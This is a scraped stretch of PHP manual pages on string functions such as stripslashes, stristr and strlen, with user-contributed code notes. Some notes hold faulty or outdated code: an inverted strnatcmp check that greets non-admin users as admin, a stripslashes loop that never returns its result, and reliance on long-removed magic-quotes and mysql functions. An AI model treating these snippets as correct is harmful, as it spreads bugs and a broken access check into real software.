var_dump($_POST);

$f1 = trim(filter_var(stripslashes($_POST[form]), FILTER_SANITIZE_STRING));
echo '<h2>stripslashes</h2>';
var_dump($f1);

$f2 = trim(str_replace("|","'",filter_var(str_replace("\'","|",$_POST[form]), FILTER_SANITIZE_STRING)));
echo '<h2>workaround</h2>';
var_dump($f2);

echo '<form action="test.php" method="post">
    <input type="text" name="form">
    <input type="submit">
    </form>';
?>

Entering "foo'bar" creates this output:
// Post-Data
// array(1) { ["form"]=> string(8) "foo\'bar" }
// stripslashes
// string(11) "foo'bar"
// workaround
// string(7) "foo'bar"
jeremysawesome 10-Dec-2010 09:39
I'm using this to clean the $_POST array:
<?php
array_walk_recursive($_POST, create_function('&$val', '$val = stripslashes($val);'));
?>
jeremycook0 at googlemail dot com 01-Aug-2010 05:04
Here's a way of stripping slashes in PHP 5.3 using a recursive closure:

<?php
  if (get_magic_quotes_gpc()) {
      $strip_slashes_deep = function ($value) use (&$strip_slashes_deep) {
          return is_array($value) ? array_map($strip_slashes_deep, $value) : stripslashes($value);
      };
      $_GET = array_map($strip_slashes_deep, $_GET);
      $_POST = array_map($strip_slashes_deep, $_POST);
      $_COOKIE = array_map($strip_slashes_deep, $_COOKIE);
  }
?>

Note that the variable '$strip_slashes_deep' has to be passed to the closure by reference. I think that this is because at the time the closure is created the variable '$strip_slashes_deep' doesn't exist: the closure itself becomes the value of the variable. Passing by reference solves this issue. This closure could easily be adapted to use other methods of stripping slashes such as preg_replace().
eugene at ultimatecms dot co dot za 23-Nov-2009 02:03
This is a simple function to remove the slashes added by functions such as magic_quotes_gpc and mysql_escape_string etc.

<?php

function no_magic_quotes($query) {
        $data = explode("\\",$query);
        $cleaned = implode("",$data);
        return $cleaned;
}

// I'm using mysql_escape_string as a simple example, but this function would work for any escaped string.
$query = "It's amaizing! Who's to say this isn't a simple function?";
$badstring = mysql_escape_string($query);

echo '<b>Without funtion:</b> '.$badstring;
echo '<br><br>';
echo '<b>With function:</b> '.no_magic_quotes($badstring);

?>

Output:
Without funtion: It\'s amaizing! Who\'s to say this isn\'t a simple function?

With function: It's amaizing! Who's to say this isn't a simple function?
michal at roszka dot pl 01-Sep-2009 05:00
The goal is to leave the input untouched in PHP 5.2.8. Let's have this sample text given in $_POST['example']:

a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( \0 )

Let's have two simple scripts:

Script A:
<?php echo $_POST['example']; ?>

Script B:
<?php echo stripslashes($_POST['example']); ?>

Let's have four different configurations and corresponding output:

Case #1:

 * magic_quotes_gpc = Off
 * magic_quotes_sybase = Off

A: a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( \0 )
B: a backslash (  ), a single-quote ( ' ), a double-quote ( " ) and a null character ( � )

Case #2

 * magic_quotes_gpc = On
 * magic_quotes_sybase = Off

A: a backslash ( \\ ), a single-quote ( \' ), a double-quote ( \" ) and a null character ( \\0 )
B: a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( \0 )

Case #3

 * magic_quotes_gpc = On
 * magic_quotes_sybase = On

A: a backslash ( \ ), a single-quote ( '' ), a double-quote ( " ) and a null character ( \0 )
B: a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( � )

Case #4

 * magic_quotes_gpc = Off
 * magic_quotes_sybase = On

A: a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( \0 )
B: a backslash (  ), a single-quote ( ' ), a double-quote ( " ) and a null character ( � )

Conclusions:

1) we do not need to do anything, if the magic_quotes_gpc is disabled (cases 1 and 4);
2) stripslashes($_POST['example']) only works, if the magic_quotes_gpc is enabled, but the magic_quotes_sybase is disabled (case 2);
3) str_replace("''", "'", $_POST['example']) will do the trick if both the magic_quotes_gpc and the magic_quotes_sybase are enabled (case 3);

<?php
function disable_magic_quotes_gpc()
{
    if (TRUE == function_exists('get_magic_quotes_gpc') && 1 == get_magic_quotes_gpc())
    {
        $mqs = strtolower(ini_get('magic_quotes_sybase'));

        if (TRUE == empty($mqs) || 'off' == $mqs)
        {
            // we need to do stripslashes on $_GET, $_POST and $_COOKIE
        }
        else
        {
            // we need to do str_replace("''", "'", ...) on $_GET, $_POST, $_COOKIE
        }
    }
    // otherwise we do not need to do anything
}
?>

Important notes:

1) arrays need to be processed recursively;

2) both stripslashes and str_replace functions always return strings, so:

* TRUE will become a string "1",
* FALSE will become an empty string,
* integers and floats will become strings,
* NULL will become an empty string.

On the other hand you only need to process strings, so use the is_string function to check;

3) when dealing with other (than GPC) data sources, such as databases or text files, remember to play with the magic_quotes_runtime setting as well, see, what happens and write a corresponding function, i.e. disable_magic_quotes_runtime() or something.

4) VERY IMPORTANT: when testing, remember the null character. Otherwise your tests will be inconclusive and you may end up with... well, serious bugs :)
JacobRas.nl 28-Jul-2009 02:41
Hi,

Here's an function that strips not only \', but also \\' and \\\' and so on (depending on $times). $text = the text that needs to be stripped, $times = how much backslashes should be stripped.

<?php

function stripslashes_deep ($text, $times) {

    $i = 0;

    // loop will execute $times times.
    while (strstr($text, '\\') && $i != $times) {

        $text= stripslashes($text);
        $i++;

    }

    return $text;

}

?>

Example: $text = \\'quote\\' . <?php stripslashes_deep($text, 2); ?> will return 'quote'.
Note: <?php stripslashes_deep($text, 3); ?> will also return 'quote'.
shredder at technodrome dot com 10-May-2009 12:50
Hi,

Here are recursive addslashes / stripslashes functions.
given a string - it will simply add / strip slashes
given an array - it will recursively add / strip slashes from the array and all of it subarrays.
if the value is not a string or array - it will remain unmodified!

<?php

function add_slashes_recursive( $variable )
{
    if ( is_string( $variable ) )
        return addslashes( $variable ) ;

    elseif ( is_array( $variable ) )
        foreach( $variable as $i => $value )
            $variable[ $i ] = add_slashes_recursive( $value ) ;

    return $variable ;
}

function strip_slashes_recursive( $variable )
{
    if ( is_string( $variable ) )
        return stripslashes( $variable ) ;
    if ( is_array( $variable ) )
        foreach( $variable as $i => $value )
            $variable[ $i ] = strip_slashes_recursive( $value ) ;

    return $variable ;
}

?>
dragon[dot]dionysius[at]gmail[dot]com 24-Mar-2009 05:07
I use this function in my class to stripslashes arrays including NULL-check:

<?php
    private function stripslashes_deep($value) {
        if(is_array($value)) {
            foreach($value as $k => $v) {
                $return[$k] = $this->stripslashes_deep($v);
            }
        } elseif(isset($value)) {
            $return = stripslashes($value);
        }
        return $return;
    }
?>
Tom Worster 23-Mar-2009 04:26
A replacement that should be safe on utf-8 strings.
<?php
  preg_replace(array('/\x5C(?!\x5C)/u', '/\x5C\x5C/u'), array('','\\'), $s);
?>
o-zone at zerozone dot it 19-Mar-2009 12:53
If you need to remove all slashes from a string, here's a quick hack:

<?php
function stripallslashes($string) {
    while(strchr($string,'\\')) {
        $string = stripslashes($string);
    }
}
?>

Hope it's usefull , O-Zone
techdesk100 28-Apr-2008 04:58
Function which checks if $input has correct slashes,
otherwise adds slashes. For cases when you are not sure the input is not already addslashed.

    public function addslashes_once($input){
        //These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
        $pattern = array("\\'", "\\\"", "\\\\", "\\0");
        $replace = array("", "", "", "");
        if(preg_match("/[\\\\'\"\\0]/", str_replace($pattern, $replace, $input))){
            return addslashes($input);
        }
        else{
            return $input;
        }
    }
Aditya P Bhatt (adityabhai at gmail dot com) 28-Mar-2008 07:03
Here is simple example code which you can use as a common function in your functions file:

<?php
function stripslashes_if_gpc_magic_quotes( $string ) {
    if(get_magic_quotes_gpc()) {
        return stripslashes($string);
    } else {
        return $string;
    }
}
?>
Evgeny 26-Feb-2008 04:52
extended version of stripslashes_deep. This allow to strip one also in the array_keys

    function stripslashes_deep($value) {
        if (is_array($value)) {
            if (count($value)>0) {
                $return = array_combine(array_map('stripslashes_deep', array_keys($value)),array_map('stripslashes_deep', array_values($value)));
            } else {
                $return = array_map('stripslashes_deep', $value);
            }
            return $return;
        } else {
            $return = stripslashes($value);
            return $return ;
        }
    }
alex dot launi at gmail dot com 21-Dec-2007 04:16
kibby: I modified the stripslashes_deep() function so that I could use it on NULL values.

function stripslashes_deep($value)
{
    if(isset($value)) {
        $value = is_array($value) ?
            array_map('stripslashes_deep', $value) :
            stripslashes($value);
    }
    return $value;
}
lukas.skowronski at gmail dot com 20-Jun-2007 01:15
If You want to delete all slashes from any table try to use my function:

function no_slashes($array)
    {
        foreach($array as $key=>$value)
            {
                if(is_array($value))
                    {
                        $value=no_slashes($value);
                        $array_temp[$key]=$value;
                    }
                else
                    {
                        $array_temp[$key]=stripslashes($value);
                    }
            }
        return $array_temp;
    }
dragonfly at networkinsight dot net 12-Mar-2007 12:22
If you are having trouble with stripslashes() corrupting binary data, try using urlencode() and urldecode() instead.
JAB Creations 06-Mar-2007 05:49
When writing to a flatfile such as an HTML page you'll notice slashes being inserted. When you write to that page it's interesting how to apply stripslashes...

I replaced this line...
<?php fwrite($file, $_POST['textarea']); ?>

With...
<?php if (get_magic_quotes_gpc()) {fwrite ($file, stripslashes($_POST['textarea']));}?>

You have to directly apply stripslashes to $_POST, $_GET, $_REQUEST, and $_COOKIE.
gregory at nutt dot ca 22-Feb-2007 03:48
Here is code I use to clean the results from a MySQL query using the stripslashes function.

I do it by passing the sql result and the sql columns to the function strip_slashes_mysql_results.  This way, my data is already clean by the time I want to use it.

    function db_query($querystring, $array, $columns)
    {
      if (!$this->connect_to_mysql())
       return 0;

     $queryresult = mysql_query($querystring, $this->link)
        or die("Invalid query: " . mysql_error());

      if(mysql_num_rows($queryresult))
      {
          $columns = mysql_field_names ($queryresult);

          if($array)
          {
              while($row = mysql_fetch_row($queryresult))
                $row_meta[] = $this->strip_slashes_mysql_results($row, $columns);
              return $row_meta;
          }
          else
          {
              while($row = mysql_fetch_object($queryresult))
                $row_meta[] = $this->strip_slashes_mysql_results($row, $columns);
              return $row_meta;
          }
      }
      else
        return 0;
    }

    function strip_slashes_mysql_results($result, $columns)
    {
        foreach($columns as $column)
        {
              if($this->debug)
                  printp(sprintf("strip_slashes_mysql_results: %s",strip_slashes_mysql_results));
              $result->$column = stripslashes($result->$column);
        }
        return $result;
    }
stoic 02-Jan-2007 05:31
in response to crab dot crab at gmail dot com:

$value need not be passed by reference. The 'stripped' value is returned. The passed value is not altered.
Kibby 14-May-2006 10:41
Okay, if using stripslashes_deep, it will definitely replace any NULL to "".  This will affect to coding that depends isset().  Please provide a workaround based on recent note.
hauser dot j at gmail dot com 21-Feb-2006 11:13
Don't use stripslashes if you depend on the values NULL.

Apparently stripslashes converts NULL to string(0) ""

<?php
$a = null;
var_dump($a);

$b = stripslashes($a);
var_dump($b);
?>
Will output

NULL
string(0) ""
alf at mitose dot net 26-Oct-2005 02:09
Take care using stripslashes() if the text you want to insert in the database contain \n characters ! You'll see "n" instead of (not seeing) "\n".

It should be no problem for XML, but is still boring ...
10-Feb-2005 04:45
If you want to deal with slashes in double-byte encodings, such as shift_jis or big5, you may use this:

<?
function stripslashes2($string) {
    $string = str_replace("\\\"", "\"", $string);
    $string = str_replace("\\'", "'", $string);
    $string = str_replace("\\\\", "\\", $string);
    return $string;
}
?>
mattyblah at gmail dot com 10-Sep-2004 05:51
It should be of note that if you are stripping slashes to get rid of the slashes added by magic_quotes_gpc then it will also remove slashes from \. This may not seem that bad but if you have someone enter text such as 'testing\' with a slash at the end, this will cause an error if not corrected. It's best to strip the slashes, then add a slash to every single slash using $text = str_replace('\\', '\\\\', $text);
hash at samurai dot fm 01-Dec-2003 06:34
Might I warn readers that they should be vary careful with the use of stripslashes on Japanese text. The shift_jis character set includes a number of two-byte code charcters that contain the hex-value 0x5c (backslash) which will get stripped by this function thus garbling those characters.

What a nightmare!


Case-insensitive strstr

  • « stripslashes
  • strlen »
  • PHP Manual
  • String Functions
  • Case-insensitive strstr

stristr

(PHP 4, PHP 5)

stristr — Case-insensitive strstr()

Description

string stristr ( string $haystack , mixed $needle [, bool $before_needle = false ] )

Returns all of haystack starting from and including the first occurrence of needle to the end.

Parameters

haystack

The string to search in

needle

If needle is not a string, it is converted to an integer and applied as the ordinal value of a character.

before_needle

If TRUE, stristr() returns the part of the haystack before the first occurrence of the needle (excluding needle).

needle and haystack are examined in a case-insensitive manner.

Return Values

Returns the matched substring. If needle is not found, returns FALSE.

Changelog

Version | Description
5.3.0 | Added the optional parameter before_needle.
4.3.0 | stristr() was made binary safe.

Examples

Example #1 stristr() example

<?php
  $email = 'USER@EXAMPLE.com';
  echo stristr($email, 'e'); // outputs ER@EXAMPLE.com
  echo stristr($email, 'e', true); // As of PHP 5.3.0, outputs US
?>

Example #2 Testing if a string is found or not

<?php
  $string = 'Hello World!';
  if(stristr($string, 'earth') === FALSE) {
    echo '"earth" not found in string';
  }
// outputs: "earth" not found in string
?>

Example #3 Using a non "string" needle

<?php
  $string = 'APPLE';
  echo stristr($string, 97); // 97 = lowercase a
// outputs: APPLE
?>

Notes

Note: This function is binary-safe.

See Also

  • strstr() - Find the first occurrence of a string
  • strrchr() - Find the last occurrence of a character in a string
  • stripos() - Find the position of the first occurrence of a case-insensitive substring in a string
  • strpbrk() - Search a string for any of a set of characters
  • preg_match() - Perform a regular expression match

User Contributed Notes

jukka 23-May-2014 07:33
I think there is a bug in php 5.3 in stristr with uppercase Ä containing other character

http://pastebin.com/5bP6uztY

if you search only with täry it works, but as soon as the word is tärylä  it does not. TÄRYL works fine
greg at no_ggmac_reply dot com 13-Jan-2011 10:20
Beware the example given here:

if stristr($message,'viagra')
or stristr($message,'cialis')
)
{
die();
}

stristr does not search for words, it finds matching substrings.  So, for example, the check for 'cialis' will trigger on 'specialist'
tomas dot nesrovnal at yourspirit dot cz 18-Dec-2008 09:36
Active item item in menu:

<?php
function aim($page) {
    if(stristr($_SERVER['REQUEST_URI'], $page)) {
        return ' class="active"';
    }
}
?>

usage:

<style type="text/css">
.active {color: red;}
</style>

<?php
print '<a href="http://example.com/page/hello-world/"'. aim('hello-world') .'>HW</a>';
?>
giz at gbdesign dot net 06-Oct-2007 02:02
Just been caught out by stristr trying to converting the needle from an Int to an ASCII value.

Got round this by casting the value to a string.

<?php
if( !stristr( $file, (string) $myCustomer->getCustomerID()  ) ) {
  // Permission denied
}
?>
art at awilton dot dotcom 07-Nov-2005 06:17
handy little bit of code I wrote to take arguments from the command line and parse them for use in my apps.

<?php

 $i = implode(" ",$argv); //implode all the settings sent via clie
 $e = explode("-",$i); // no lets explode it using our defined seperator '-'

       //now lets parse the array and return the parameter name and its setting
       // since the input is being sent by the user via the command line
       //we will use stristr since we don't care about case sensitivity and
       //will convert them as needed later.

    while (list($index,$value) = each($e)){

       //lets grap the parameter name first using a double reverse string
       // to get the begining of the string in the array then reverse it again
       // to set it back. we will also "trim" off the "=" sign

     $param = rtrim(strrev(stristr(strrev($value),'=')),"=");

       //now lets get what the parameter is set to.
       // again "trimming" off the = sign

     $setting = ltrim(stristr($value,'='),"=");

       // now do something with our results.
       // let's just echo them out so we can see that everything is working

      echo "Array index is ".$index." and value is ".$value."\r\n";
      echo "Parameter is ".$param." and is set to ".$setting."\r\n\r\n";

}

?>

when run from the CLI this script returns the following.

[root@fedora4 ~]# php a.php -val1=one -val2=two -val3=three

Array index is 0 and value is a.php
Parameter is  and is set to

Array index is 1 and value is val1=one
Parameter is val1 and is set to one

Array index is 2 and value is val2=two
Parameter is val2 and is set to two

Array index is 3 and value is val3=three
Parameter is val3 and is set to three

[root@fedora4 ~]#
notepad at codewalkers dot com 05-Jun-2005 10:02
<?php

function stristr_reverse($haystack, $needle) {
  $pos = stripos($haystack, $needle) + strlen($needle);
  return substr($haystack, 0, $pos);
}
$email = 'USER@EXAMPLE.com';
echo stristr_reverse($email, 'er');
// outputs USER

?>
Techdeck at Techdeck dot org 12-Nov-2002 09:26
An example for the stristr() function:

<?php
$a = "I like php";
if (stristr("$a", "LikE PhP")) {
print ("According to \$a, you like PHP.");
}
?>

It will look in $a for "like php" (NOT case sensetive. though, strstr() is case-sensetive).

For the ones of you who uses linux.. It is similiar to the "grep" command.
Actually.. "grep -i".
dpatton.at.confluence.org 03-Oct-2002 06:36
There was a change in PHP 4.2.3 that can cause a warning message
to be generated when using stristr(), even though no message was
generated in older versions of PHP.

The following will generate a warning message in 4.0.6 and 4.2.3:
  stristr("haystack", "");
     OR
  $needle = "";  stristr("haystack", $needle);

This will _not_ generate an "Empty Delimiter" warning message in
4.0.6, but _will_ in 4.2.3:
  unset($needle); stristr("haystack", $needle);

Here's a URL that documents what was changed:
http://groups.google.ca/groups?selm=cvshholzgra1031224321%40cvsserver


Get string length

  • « stristr
  • strnatcasecmp »
  • PHP Manual
  • String Functions
  • Get string length

strlen

(PHP 4, PHP 5)

strlen — Get string length

Description

int strlen ( string $string )

Returns the length of the given string.

Parameters

string

The string being measured for length.

Return Values

The length of the string on success, and 0 if the string is empty.

Changelog

Version | Description
5.3.0 | Prior versions treated arrays as the string Array, thus returning a string length of 5 and emitting an E_NOTICE level error.

Examples

Example #1 A strlen() example

<?php
$str = 'abcdef';
echo strlen($str); // 6

$str = ' ab cd ';
echo strlen($str); // 7
?>

Notes

Note:

strlen() returns the number of bytes rather than the number of characters in a string.

Note:

strlen() returns NULL when executed on arrays, and an E_WARNING level error is emitted.

See Also

  • count() - Count all elements in an array, or something in an object
  • grapheme_strlen() - Get string length in grapheme units
  • iconv_strlen() - Returns the character count of string
  • mb_strlen() - Get string length

User Contributed Notes

vaqasuddin 10-Jun-2014 08:04
function limit_text( $text, $limit = 100000000000 ) {
        if ( strlen ( $text ) < $limit ) {
            return $text;
        }
        $split_words = explode(' ', $text );
        $out = null;
        foreach ( $split_words as $word ) {
            if ( ( strlen( $word ) > $limit ) && $out == null ) {
                return substr( $word, 0, $limit )."...";
            }

            if (( strlen( $out ) + strlen( $word ) ) > $limit) {
                return $out . "...";
            }
            $out.=" " . $word;
        }
        return $out;
    }

echo limit_text("hello world lorem ipsum",10);
MD ABU SAYEM 17-Apr-2014 02:09
Simple code for palindrome
<?PHP
$str='racecar';
echo $str.'   ';
$len=strlen($str)-1;
$new='';
for($i=$len;$i>=0;$i--){
$new.=$str[$i];
}
echo $new;
?>
jasonrohrer at fastmail dot fm 14-Jun-2013 07:48
PHP's strlen function behaves differently than the C strlen function in terms of its handling of null bytes ('\0').

In PHP, a null byte in a string does NOT count as the end of the string, and any null bytes are included in the length of the string.

For example, in PHP:

strlen( "te\0st" ) = 5

In C, the same call would return 2.

Thus, PHP's strlen function can be used to find the number of bytes in a binary string (for example, binary data returned by base64_decode).
vcardillo at gmail dot com 14-Aug-2012 12:59
I would like to demonstrate that you need more than just this function in order to truly test for an empty string. The reason being that <?php strlen(null); ?> will return 0. So how do you know if the value was null, or truly an empty string?

<?php
$foo = null;
$len = strlen(null);
$bar = '';

echo "Length: " . strlen($foo) . "<br>";
echo "Length: $len <br>";
echo "Length: " . strlen(null) . "<br>";

if (strlen($foo) === 0) echo 'Null length is Zero <br>';
if ($len === 0) echo 'Null length is still Zero <br>';

if (strlen($foo) == 0 && !is_null($foo)) echo '!is_null(): $foo is truly an empty string <br>';
else echo '!is_null(): $foo is probably null <br>';

if (strlen($foo) == 0 && isset($foo)) echo 'isset(): $foo is truly an empty string <br>';
else echo 'isset(): $foo is probably null <br>';

if (strlen($bar) == 0 && !is_null($bar)) echo '!is_null(): $bar is truly an empty string <br>';
else echo '!is_null(): $foo is probably null <br>';

if (strlen($bar) == 0 && isset($bar)) echo 'isset(): $bar is truly an empty string <br>';
else echo 'isset(): $foo is probably null <br>';
?>

// Begin Output:
Length: 0
Length: 0
Length: 0

Null length is Zero
Null length is still Zero

!is_null(): $foo is probably null
isset(): $foo is probably null

!is_null(): $bar is truly an empty string
isset(): $bar is truly an empty string
// End Output

So it would seem you need either is_null() or isset() in addition to strlen() if you care whether or not the original value was null.
tux at tax dot tox 06-Aug-2012 03:54
Attention with utf8:
$foo = "bär";
strlen($foo) will return 4 and not 3 as expected..
basil at gohar dot us 08-Jun-2010 11:03
We just ran into what we thought was a bug but turned out to be a documented difference in behavior between PHP 5.2 & 5.3.  Take the following code example:

<?php

$attributes = array('one', 'two', 'three');

if (strlen($attributes) == 0 && !is_bool($attributes)) {
    echo "We are in the 'if'\n";  //  PHP 5.3
} else {
    echo "We are in the 'else'\n";  //  PHP 5.2
}

?>

This is because in 5.2 strlen will automatically cast anything passed to it as a string, and casting an array to a string yields the string "Array".  In 5.3, this changed, as noted in the following point in the backward incompatible changes in 5.3 (http://www.php.net/manual/en/migration53.incompatible.php):

"The newer internal parameter parsing API has been applied across all the extensions bundled with PHP 5.3.x. This parameter parsing API causes functions to return NULL when passed incompatible parameters. There are some exceptions to this rule, such as the get_class() function, which will continue to return FALSE on error."

So, in PHP 5.3, strlen($attributes) returns NULL, while in PHP 5.2, strlen($attributes) returns the integer 5.  This likely affects other functions, so if you are getting different behaviors or new bugs suddenly, check if you have upgraded to 5.3 (which we did recently), and then check for some warnings in your logs like this:

strlen() expects parameter 1 to be string, array given in /var/www/sis/lib/functions/advanced_search_lib.php on line 1028

If so, then you are likely experiencing this changed behavior.
Amaroq 20-Mar-2009 08:51
When dealing with submitted forms that you've imposed a character limit on, you must remember that functions that count characters consider "\r\n" to be two characters.

<?php
//These will both output 2.
echo strlen("\r\n");
echo mb_strlen("\r\n");
?>

If I had thought of this starting out, I would have saved myself several hours of trouble trying to get php to cut a message to the same length that my auxiliary javascript validation imposed on it.
bartek at proteus,pl 19-Jul-2005 02:08
> Just a precisation, maybe obvious, about the strlen() behaviour:
> with binary strings (i.e. returned by the pack() finction) is made
> a byte count... so strlen returns the number of bytes contained
> in the binary string.

This is not always true. strlen() might be shadowed by mb_strlen().
If that is the case it might treat binary data as unocode string and return wrong value (I just found it out after fighting with egroupware email attachment handling bug).

So, if your data is binary I would suggest using somthing like this (parts of the code from egroupware):

<?php
$has_mbstring = extension_loaded('mbstring') ||@dl(PHP_SHLIB_PREFIX.'mbstring.'.PHP_SHLIB_SUFFIX);
$has_mb_shadow = (int) ini_get('mbstring.func_overload');

if ($has_mbstring && ($has_mb_shadow & 2) ) {
   $size = mb_strlen($this->output_data,'latin1');
} else {
   $size = strlen($this->output_data);
}
?>
--
Bartek
http://nsk.wikinerds.org 22-Apr-2005 06:02
Beware: strlen() counts new line characters at the end of a string, too!

<?php
  $a = "123\n";
  echo "<p>".strlen($a)."</p>";
?>

The above code will output 4.
packe100 at hotmail dot com 14-Mar-2005 04:07
Just a precisation, maybe obvious, about the strlen() behaviour: with binary strings (i.e. returned by the pack() finction) is made a byte count... so strlen returns the number of bytes contained in the binary string.
chernyshevsky at hotmail dot com 06-Sep-2004 12:36
The easiest way to determine the character count of a UTF8 string is to pass the text through utf8_decode() first:

<?php
$length = strlen(utf8_decode($s));
?>

utf8_decode() converts characters that are not in ISO-8859-1 to '?', which, for the purpose of counting, is quite alright.


Case insensitive string comparisons using a "natural order" algorithm

  • « strlen
  • strnatcmp »
  • PHP Manual
  • String Functions
  • Case insensitive string comparisons using a "natural order" algorithm

strnatcasecmp

(PHP 4, PHP 5)

strnatcasecmp — Case insensitive string comparisons using a "natural order" algorithm

Description

int strnatcasecmp ( string $str1 , string $str2 )

This function implements a comparison algorithm that orders alphanumeric strings in the way a human being would. The behaviour of this function is similar to strnatcmp(), except that the comparison is not case sensitive. For more information see: Martin Pool's » Natural Order String Comparison page.

Parameters

str1

The first string.

str2

The second string.

Return Values

Similar to other string comparison functions, this one returns < 0 if str1 is less than str2 > 0 if str1 is greater than str2, and 0 if they are equal.

See Also

  • preg_match() - Perform a regular expression match
  • strcmp() - Binary safe string comparison
  • strcasecmp() - Binary safe case-insensitive string comparison
  • substr() - Return part of a string
  • stristr() - Case-insensitive strstr
  • strncasecmp() - Binary safe case-insensitive string comparison of the first n characters
  • strncmp() - Binary safe string comparison of the first n characters
  • strstr() - Find the first occurrence of a string
  • setlocale() - Set locale information

User Contributed Notes

chatfielddaniel at googlemail dot com 14-Apr-2011 01:07
The function treats '_' as after letters and numbers when it would be placed before logically.
thomas at uninet dot se 25-Jul-2006 09:49
There seems to be a bug in the localization for strnatcmp and strnatcasecmp. I searched the reported bugs and found a few entries which were up to four years old (but the problem still exists when using swedish characters).

These functions might work instead.
<?php
function _strnatcasecmp($left, $right) {
  return _strnatcmp(strtolower($left), strtolower($right));
}

function _strnatcmp($left, $right) {
  while((strlen($left) > 0) && (strlen($right) > 0)) {
    if(preg_match('/^([^0-9]*)([0-9].*)$/Us', $left, $lMatch)) {
      $lTest = $lMatch[1];
      $left = $lMatch[2];
    } else {
      $lTest = $left;
      $left = '';
    }
    if(preg_match('/^([^0-9]*)([0-9].*)$/Us', $right, $rMatch)) {
      $rTest = $rMatch[1];
      $right = $rMatch[2];
    } else {
      $rTest = $right;
      $right = '';
    }
    $test = strcmp($lTest, $rTest);
    if($test != 0) {
      return $test;
    }
    if(preg_match('/^([0-9]+)([^0-9].*)?$/Us', $left, $lMatch)) {
      $lTest = intval($lMatch[1]);
      $left = $lMatch[2];
    } else {
      $lTest = 0;
    }
    if(preg_match('/^([0-9]+)([^0-9].*)?$/Us', $right, $rMatch)) {
      $rTest = intval($rMatch[1]);
      $right = $rMatch[2];
    } else {
      $rTest = 0;
    }
    $test = $lTest - $rTest;
    if($test != 0) {
      return $test;
    }
  }
  return strcmp($left, $right);
}
?>

The code is not optimized. It was just made to solve my problem.


String comparisons using a "natural order" algorithm

  • « strnatcasecmp
  • strncasecmp »
  • PHP Manual
  • String Functions
  • String comparisons using a "natural order" algorithm

strnatcmp

(PHP 4, PHP 5)

strnatcmp — String comparisons using a "natural order" algorithm

Description

int strnatcmp ( string $str1 , string $str2 )

This function implements a comparison algorithm that orders alphanumeric strings in the way a human being would, this is described as a "natural ordering". Note that this comparison is case sensitive.

Parameters

str1

The first string.

str2

The second string.

Return Values

Similar to other string comparison functions, this one returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

Examples

An example of the difference between this algorithm and the regular computer string sorting algorithms (used in strcmp()) can be seen below:

<?php
$arr1 = $arr2 = array("img12.png", "img10.png", "img2.png", "img1.png");
echo "Standard string comparison\n";
usort($arr1, "strcmp");
print_r($arr1);
echo "\nNatural order string comparison\n";
usort($arr2, "strnatcmp");
print_r($arr2);
?>

The above example will output:

Standard string comparison
Array
(
    [0] => img1.png
    [1] => img10.png
    [2] => img12.png
    [3] => img2.png
)

Natural order string comparison
Array
(
    [0] => img1.png
    [1] => img2.png
    [2] => img10.png
    [3] => img12.png
)
For more information see: Martin Pool's » Natural Order String Comparison page.

See Also

  • preg_match() - Perform a regular expression match
  • strcasecmp() - Binary safe case-insensitive string comparison
  • substr() - Return part of a string
  • stristr() - Case-insensitive strstr
  • strcmp() - Binary safe string comparison
  • strncmp() - Binary safe string comparison of the first n characters
  • strncasecmp() - Binary safe case-insensitive string comparison of the first n characters
  • strnatcasecmp() - Case insensitive string comparisons using a "natural order" algorithm
  • strstr() - Find the first occurrence of a string
  • natsort() - Sort an array using a "natural order" algorithm
  • natcasesort() - Sort an array using a case insensitive "natural order" algorithm

User Contributed Notes

Zero 04-Dec-2010 11:14
If you want to compare $_SESSION variables to a string use this

<?php
if(isset($_SESSION['usertype']))
{
     echo "usertype " .$_SESSION['usertype'];

     $ut = $_SESSION['usertype'];

     if(strnatcmp($ut,"admin"))
     {
          echo "hello admin";
     }
}
?>
thomas at uninet dot se 25-Jul-2006 09:50
There seems to be a bug in the localization for strnatcmp and strnatcasecmp. I searched the reported bugs and found a few entries which were up to four years old (but the problem still exists when using swedish characters).

These functions might work instead.
<?php
function _strnatcasecmp($left, $right) {
  return _strnatcmp(strtolower($left), strtolower($right));
}

function _strnatcmp($left, $right) {
  while((strlen($left) > 0) && (strlen($right) > 0)) {
    if(preg_match('/^([^0-9]*)([0-9].*)$/Us', $left, $lMatch)) {
      $lTest = $lMatch[1];
      $left = $lMatch[2];
    } else {
      $lTest = $left;
      $left = '';
    }
    if(preg_match('/^([^0-9]*)([0-9].*)$/Us', $right, $rMatch)) {
      $rTest = $rMatch[1];
      $right = $rMatch[2];
    } else {
      $rTest = $right;
      $right = '';
    }
    $test = strcmp($lTest, $rTest);
    if($test != 0) {
      return $test;
    }
    if(preg_match('/^([0-9]+)([^0-9].*)?$/Us', $left, $lMatch)) {
      $lTest = intval($lMatch[1]);
      $left = $lMatch[2];
    } else {
      $lTest = 0;
    }
    if(preg_match('/^([0-9]+)([^0-9].*)?$/Us', $right, $rMatch)) {
      $rTest = intval($rMatch[1]);
      $right = $rMatch[2];
    } else {
      $rTest = 0;
    }
    $test = $lTest - $rTest;
    if($test != 0) {
      return $test;
    }
  }
  return strcmp($left, $right);
}
?>

The code is not optimized. It was just made to solve my problem.


Binary safe case-insensitive string comparison of the first n characters

  • « strnatcmp
  • strncmp »
  • PHP Manual
  • String Functions
  • Binary safe case-insensitive string comparison of the first n characters

strncasecmp

(PHP 4 >= 4.0.2, PHP 5)

strncasecmp — Binary safe case-insensitive string comparison of the first n characters

Description

int strncasecmp ( string $str1 , string $str2 , int $len )

This function is similar to strcasecmp(), with the difference that you can specify the (upper limit of the) number of characters from each string to be used in the comparison.

Parameters

str1

The first string.

str2

The second string.

len

The length of strings to be used in the comparison.

Return Values

Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

See Also

  • strncmp() - Binary safe string comparison of the first n characters
  • preg_match() - Perform a regular expression match
  • substr_compare() - Binary safe comparison of two strings from an offset, up to length characters
  • strcasecmp() - Binary safe case-insensitive string comparison
  • stristr() - Case-insensitive strstr
  • substr() - Return part of a string

User Contributed Notes

saikumar dot msc at gmail dot com 02-Jun-2014 12:26
Example:
<?php
$string = “true”;
if(strncasecmp($string, “Trudeau”, 4)) { print “True”; } else { print "False" }
?>

If we look at above example, immediately we will say the final output will be 'False', but that's not real.

